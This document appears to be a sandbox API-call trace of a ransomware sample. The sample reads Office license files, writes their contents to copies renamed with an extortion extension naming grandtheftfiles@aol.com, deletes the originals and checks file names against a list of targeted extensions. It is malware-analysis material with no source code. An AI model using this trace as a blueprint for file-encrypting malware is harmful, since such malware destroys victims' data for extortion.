	[0181.234] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x114, lpOverlapped=0x0) returned 1
	[0181.234] SetEndOfFile (hFile=0x57c) returned 1
	[0181.234] CloseHandle (hObject=0x57c) returned 1
	[0181.234] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.234] SetEndOfFile (hFile=0x554) returned 1
	[0181.250] CloseHandle (hObject=0x554) returned 1
	[0181.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.250] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 1
	[0181.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.251] lstrlenW (lpString=".doc") returned 4
	[0181.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".docx") returned 5
	[0181.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.251] lstrlenW (lpString=".pdf") returned 4
	[0181.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".xls") returned 4
	[0181.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".xlsx") returned 5
	[0181.251] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.251] lstrlenW (lpString=".ppt") returned 4
	[0181.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.251] lstrlenW (lpString=".zip") returned 4
	[0181.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".rar") returned 4
	[0181.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".bz2") returned 4
	[0181.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.251] lstrlenW (lpString=".7z") returned 3
	[0181.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.251] lstrlenW (lpString=".dbf") returned 4
	[0181.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".1cd") returned 4
	[0181.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".jpg") returned 4
	[0181.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".doc") returned 4
	[0181.252] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".docx") returned 5
	[0181.252] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.252] lstrlenW (lpString=".pdf") returned 4
	[0181.252] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".xls") returned 4
	[0181.252] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".xlsx") returned 5
	[0181.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.252] lstrlenW (lpString=".ppt") returned 4
	[0181.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".zip") returned 4
	[0181.252] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".rar") returned 4
	[0181.252] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".bz2") returned 4
	[0181.252] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString=".7z") returned 3
	[0181.252] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".dbf") returned 4
	[0181.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.252] lstrlenW (lpString=".1cd") returned 4
	[0181.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0181.253] lstrlenW (lpString=".jpg") returned 4
	[0181.253] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.253] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.253] lstrlenW (lpString="O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 33
	[0181.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.253] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=24369) returned 1
	[0181.253] CloseHandle (hObject=0x554) returned 1
	[0181.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0181.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.254] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.254] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0181.255] GetLastError () returned 0x0
	[0181.255] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0181.257] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0181.258] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.258] WriteFile (in: hFile=0x57c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x116, lpOverlapped=0x0) returned 1
	[0181.259] SetEndOfFile (hFile=0x57c) returned 1
	[0181.259] CloseHandle (hObject=0x57c) returned 1
	[0181.259] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.259] SetEndOfFile (hFile=0x554) returned 1
	[0181.262] CloseHandle (hObject=0x554) returned 1
	[0181.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 1
	[0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.263] lstrlenW (lpString=".doc") returned 4
	[0181.263] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".docx") returned 5
	[0181.263] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.263] lstrlenW (lpString=".pdf") returned 4
	[0181.263] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".xls") returned 4
	[0181.263] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".xlsx") returned 5
	[0181.263] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.263] lstrlenW (lpString=".ppt") returned 4
	[0181.263] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.263] lstrlenW (lpString=".zip") returned 4
	[0181.263] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".rar") returned 4
	[0181.263] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".bz2") returned 4
	[0181.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString=".7z") returned 3
	[0181.263] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.263] lstrlenW (lpString=".dbf") returned 4
	[0181.263] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.263] lstrlenW (lpString=".1cd") returned 4
	[0181.264] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".jpg") returned 4
	[0181.264] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".doc") returned 4
	[0181.264] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".docx") returned 5
	[0181.264] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.264] lstrlenW (lpString=".pdf") returned 4
	[0181.264] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".xls") returned 4
	[0181.264] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".xlsx") returned 5
	[0181.264] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.264] lstrlenW (lpString=".ppt") returned 4
	[0181.264] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".zip") returned 4
	[0181.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".rar") returned 4
	[0181.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".bz2") returned 4
	[0181.264] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString=".7z") returned 3
	[0181.264] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".dbf") returned 4
	[0181.264] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".1cd") returned 4
	[0181.264] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0181.264] lstrlenW (lpString=".jpg") returned 4
	[0181.264] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.265] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.265] lstrlenW (lpString="O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 36
	[0181.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.265] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11630) returned 1
	[0181.265] CloseHandle (hObject=0x554) returned 1
	[0181.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0181.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.266] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.266] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0181.431] GetLastError () returned 0x0
	[0181.431] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0181.433] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0181.434] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.434] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.434] SetEndOfFile (hFile=0x3dc) returned 1
	[0181.434] CloseHandle (hObject=0x3dc) returned 1
	[0181.434] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.434] SetEndOfFile (hFile=0x554) returned 1
	[0181.437] CloseHandle (hObject=0x554) returned 1
	[0181.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.438] lstrlenW (lpString=".doc") returned 4
	[0181.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.438] lstrlenW (lpString=".docx") returned 5
	[0181.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.438] lstrlenW (lpString=".pdf") returned 4
	[0181.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.438] lstrlenW (lpString=".xls") returned 4
	[0181.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.438] lstrlenW (lpString=".xlsx") returned 5
	[0181.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.438] lstrlenW (lpString=".ppt") returned 4
	[0181.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString=".zip") returned 4
	[0181.439] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString=".rar") returned 4
	[0181.439] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString=".bz2") returned 4
	[0181.439] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString=".7z") returned 3
	[0181.439] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString=".dbf") returned 4
	[0181.439] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString=".1cd") returned 4
	[0181.439] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString=".jpg") returned 4
	[0181.439] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.439] lstrlenW (lpString=".doc") returned 4
	[0181.439] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.439] lstrlenW (lpString=".docx") returned 5
	[0181.439] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.439] lstrlenW (lpString=".pdf") returned 4
	[0181.439] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString=".xls") returned 4
	[0181.440] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString=".xlsx") returned 5
	[0181.440] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.440] lstrlenW (lpString=".ppt") returned 4
	[0181.440] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.440] lstrlenW (lpString=".zip") returned 4
	[0181.440] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString=".rar") returned 4
	[0181.440] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString=".bz2") returned 4
	[0181.440] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString=".7z") returned 3
	[0181.440] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.440] lstrlenW (lpString=".dbf") returned 4
	[0181.440] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.440] lstrlenW (lpString=".1cd") returned 4
	[0181.440] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ul-oob.xrm-ms") returned 86
	[0181.440] lstrlenW (lpString=".jpg") returned 4
	[0181.440] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.440] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.440] lstrlenW (lpString="O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 42
	[0181.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0181.441] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=27735) returned 1
	[0181.441] CloseHandle (hObject=0x554) returned 1
	[0181.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0181.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
